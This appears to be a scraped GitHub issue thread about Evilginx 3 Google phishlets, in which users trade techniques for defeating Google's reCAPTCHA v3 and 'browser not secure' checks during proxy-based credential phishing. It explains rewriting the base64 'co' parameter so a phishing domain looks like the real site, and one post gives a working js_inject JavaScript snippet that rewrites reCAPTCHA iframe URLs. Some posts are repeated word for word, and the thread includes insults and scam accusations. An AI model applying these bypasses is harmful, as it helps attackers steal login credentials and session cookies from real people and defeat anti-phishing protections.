Google phishlets work perfectly fine.

[simplerhacking]

          **Google phishlets work perfectly fine.** 

You do not need anything fancy or evilpuppet. You can even just extract the necessary data via custom js per the official documentation, that's why Kuba put it there. There is no need to use all of extra tools or even the pro version. Google rolled out the new v3 login, I highly doubt they patch it or change it anytime soon. (Look at v3 release notes & recaptcha notes).

https://cloud.google.com/recaptcha/docs/release-notes

Google phishlets for Evilginx 3.0 work fine. Google sign-in redirects instantly to myaccount as normal, even switching apps will not prompt re-authentication via the main account.

Originally posted by @simplerhacking in https://github.com/kgretzky/evilginx2/issues/1094#issuecomment-2276917924

[simplerhacking]

@rickyrik001 You are vastly incorrect.

This is outside of your depth of understanding. How could "some accounts work" and "other accounts not work" that logically doesn't even compute. The idea that some accounts would work with a Google phishlet while others wouldn't is inconsistent with how Google's infrastructure is built. Google's authentication mechanisms, particularly Oauth 2.0, are standardized across their services, ensuring that all accounts follow the same authentication flow. Any deviation would lead to significant issues across their suite of applications. This understanding alone cancels out your entire claim lol.

Google phishlets operate at the network level, capturing and proxying traffic without needing to emulate full browser behaviors. "Puppeteer" obviously doesn’t solve the core issues related to phishlets, such as intercepting and parsing OAuth flows or managing cookies, which are obviously critical to capturing credentials. Therefore, your magical claims make zero sense both logically and technically.

Please refrain from spreading misinformation and attempting to present yourself as knowledgeable when this topic so clearly exceeds your expertise. Public forums are for learning and sharing accurate information, not for misleading others for financial or reputational gain.

Also you're not included in BreakDev Red, the private Discord, you do not have an Evilginx Pro license or have access to EvilPuppet or anything Kuba has put out privately for red teamers.

Please try again lol.

[stackerofwheat]

@simplehacking the response i gave on last issue was about App or browser is not secured because of google anti phishing protection , but about reCAPTCHA i haven't write any thing ,and about the issue of App or browser is not secured for that you have to use some sort of hidden browser which replace original request for that you can use go/rod, evilpuppet or anything ,kuba also explained this in his status link attached (https://x.com/mrgretzky/status/1808468862058295631) and make your course public and free so that other people can benefit for it ,as paid version of kuba is already available =)

This guy is a well-known scammer like the gypsy scum on telegram selling fake phishlets for thousands of dollars. His course is total garbage. Just a bunch of AI generated powerpoint slides being read verbatim by an AI voice.

Bypassing Google v3 reCAPTCHA is tricky but not impossible. Every site that uses it has a sitekey which is easy to find in html of their login page. That site key corresponds to a 'co' parameter which is a base64 encoded string of the actual sites domain 'www.example.com:443'. When you proxy a site you also proxy it's site key. However, your 'co' parameter will not match the site key since your domain is 'www.example-fake.com:443'. You have to figure out a way to modify all requests to Google's recaptcha site to make it seem like they're coming from the actual site. This will send the matching 'co' parameter which will result in google sending back a successful reCAPTCHA token.

I have had mixed success with bypassing this. For some sites i can just use js_inject to modify the html of the login page so that the reCAPTCHA iframe's src url for the request to google contains the actual site's 'co' parameter instead of the fake one. Other website though seem to send continuous requests to the Google reCAPTCHA api at set intervals and the second one get through that uses the fake site's 'co' parameter the reCAPTCHA fails.

[vanitysys28]

@simplehacking ...

It seems that the solution to this is modifying core/http_proxy.go and updating the GET queries directly for them to contain the right base64 encoded string.

Solution is being described here: https://github.com/An0nUD4Y/Evilginx2-Phishlets/blob/master/README.md#google-recaptcha-bypass-by-desire

[stackerofwheat]

@simplehacking ...

It seems that the solution to this is modifying core/http_proxy.go and updating the GET queries directly for them to contain the right base64 encoded string.

Solution is being described here: https://github.com/An0nUD4Y/Evilginx2-Phishlets/blob/master/README.md#google-recaptcha-bypass-by-desire

@simplehacking ...

It seems that the solution to this is modifying core/http_proxy.go and updating the GET queries directly for them to contain the right base64 encoded string.

Solution is being described here: https://github.com/An0nUD4Y/Evilginx2-Phishlets/blob/master/README.md#google-recaptcha-bypass-by-desire

It doesn't work for me. It seems like any time I modify http_proxy.go the changes never work. The solution doesn't make sense anyway. You have to replace the co parameter values with the actual domain and the phishing domain of the phishlet you're currently using. Why would you modify source code with hardcoded values for the co parameter so that it only applies to a single phishlet? If you're going to modify http_proxy.go, instead of hardcoding the co parameters, the function should base64 encode the actual domain(https://www.example.com:443) and the phishing domain(https://www.example-fake.com:443) dynamically. Someone familiar with GO should modify the function and share. Sadly my knowledge of GO is next to non-existent.

I'm not completely useless though! Since the co parameters need to be overwritten on a per-phishlet basis it makes more sense to do so using js_inject(see below). I have not been able to bypass greCAPTCHA v3 with this but i have been able to replace the co parameter. As a result the greCAPTCHA iframe should load on the page with the recaptcha logo instead of the sitekey error message. However, even with replacing the co parameter I still get an 'invalid recaptcha' error when submitting log in. I have no clue what's going on though or how to reach the final endpoint. It's either detecting that the co parameter has been re-written or it's comparing the co parameter to the actual header. In the case of the latter we'd have to modify our js_inject to not only replace the co parameter but also the request headers so that they appear to be coming from the original domain. As far as I know, evilginx is not capable of rewriting http request headers.

Someone smarter than me is going to have to take it from here. Hit me up on telegram if want to talk more @thuggish_ruggish_bone. Just don't try and sell me anything.

  document.addEventListener('DOMContentLoaded', function() {
      // Function to modify the co parameter in the reCAPTCHA iframe's src
      function modifyRecaptchaCoParam(iframe) {
          if (iframe && iframe.src) {
              let modifiedSrc = iframe.src.replace('<phishing_co_parameter>', '<original_co_parameter>');
              if (iframe.src !== modifiedSrc) {
                  iframe.src = modifiedSrc;
                  console.log('ReCAPTCHA src modified:', modifiedSrc);
              }
          }
      }
      // MutationObserver to monitor the entire document for new or modified iframes
      let observer = new MutationObserver(function(mutations) {
          mutations.forEach(function(mutation) {
              mutation.addedNodes.forEach(function(node) {
                  if (node.tagName === 'IFRAME' && node.src.includes('recaptcha/api2/')) {
                      modifyRecaptchaCoParam(node);
                  }
              });
              if (mutation.target.tagName === 'IFRAME' && mutation.target.src.includes('recaptcha/api2/')) {
                  modifyRecaptchaCoParam(mutation.target);
              }
          });
      });
      // Start observing the document for changes
      observer.observe(document.body, { childList: true, subtree: true,  attributes: true });
      // Modify the co parameter for any existing reCAPTCHA iframe
      document.querySelectorAll('iframe[src*="recaptcha/api2/"]').forEach(modifyRecaptchaCoParam);
  });

[stackerofwheat]

Issue that most people encounter is google anti phishing protection, After enter email it will show Browser or App may not be secured

yeah but reCAPTCHA v3 IS Google's anti-phishing protection. They might use other protections as well but i imagine they use reCAPTCHA v3 since THEY INVENTED IT!!

[gillufarooq]

@simplehacking the response i gave on last issue was about App or browser is not secured because of google anti phishing protection , but about reCAPTCHA i haven't write any thing ,and about the issue of App or browser is not secured for that you have to use some sort of hidden browser which replace original request for that you can use go/rod, evilpuppet or anything ,kuba also explained this in his status link attached (https://x.com/mrgretzky/status/1808468862058295631) and make your course public and free so that other people can benefit for it ,as paid version of kuba is already available =)

This guy is a well-known scammer like the gypsy scum on telegram selling fake phishlets for thousands of dollars. His course is total garbage. Just a bunch of AI generated powerpoint slides being read verbatim by an AI voice.

Bypassing Google v3 reCAPTCHA is tricky but not impossible. Every site that uses it has a sitekey which is easy to find in html of their login page. That site key corresponds to a 'co' parameter which is a base64 encoded string of the actual sites domain 'www.example.com:443'. When you proxy a site you also proxy it's site key. However, your 'co' parameter will not match the site key since your domain is 'www.example-fake.com:443'. You have to figure out a way to modify all requests to Google's recaptcha site to make it seem like they're coming from the actual site. This will send the matching 'co' parameter which will result in google sending back a successful reCAPTCHA token.

I have had mixed success with bypassing this. For some sites i can just use js_inject to modify the html of the login page so that the reCAPTCHA iframe's src url for the request to google contains the actual site's 'co' parameter instead of the fake one. Other website though seem to send continuous requests to the Google reCAPTCHA api at set intervals and the second one get through that uses the fake site's 'co' parameter the reCAPTCHA fails.

totally agreed with @stackerofwheat ,the guy @simplerhacking is scammer